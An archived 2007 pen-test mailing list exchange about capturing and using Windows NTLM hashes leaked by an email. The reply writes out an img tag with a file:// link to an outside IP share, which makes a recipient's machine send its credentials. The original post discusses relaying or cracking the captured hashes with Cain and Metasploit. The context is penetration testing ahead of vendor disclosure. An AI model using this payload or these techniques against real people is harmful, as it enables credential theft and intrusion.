From: Shenk, Jerry A (jshenk@decommunications.com)
Date: Fri Nov 16 2007 - 07:38:12 EST
Send the hash to a machine that is only capable of LM authentication and
then sniff that traffic. I've done that with an embedded image tag in
an e-mail like <img src="file://123.123.123.123/someshare/dot.gif"> or
something like that.
-----Original Message-----
From: listbounce@securityfocus.com [mailto:listbounce@securityfocus.com]
On Behalf Of me
Sent: Thursday, November 15, 2007 5:15 PM
To: pen-test@securityfocus.com
Subject: Pass the hash
I have an email hack that sends the Windows
credentials, without the user's knowledge or consent,
to my box - which is running CAIN.
No machine in my shop will send (downgrade
authentication) LM or NTLMv1 -- only NTLMv2 -- which
is NTLMSSP . Using CAIN I can get the suite of NTLMSSP
hashes but I cannot pass them on or crack them via
brute force. Since these hashes are not the same as
the hashes from the SAM - I cannot pass them directly
to a RAINBOW NTLM table attack.
Before I turn over the email hack to the email vendor,
I would like very much to have a POC that either
passes the hash or a better cracker than using a
dictionary.
It seems to me that the only viable hack is to somehow
create a MITM situation where the authentication from
my email hack is used to access some network resource
(share) on a target machine where I know the email
victim can access the resource via these credentials.
I am hoping Metasploit or CAIN will do this one day
and I know that Metasploit will pass the hash when it
is not an NTLMv2 hash.
Any other ideas that will leverage the hashes that I
can gather - I have gathered my own hashes and
verified that a CAIN dictionary attack will accurately
match up a password to a hash (in other words the CAIN
dictionary cracker works fine). I think that by using
a very large dictionary and using all of the CAIN
dictionary options I could probably crack 2-3
passwords from 200 hashes.
thanks
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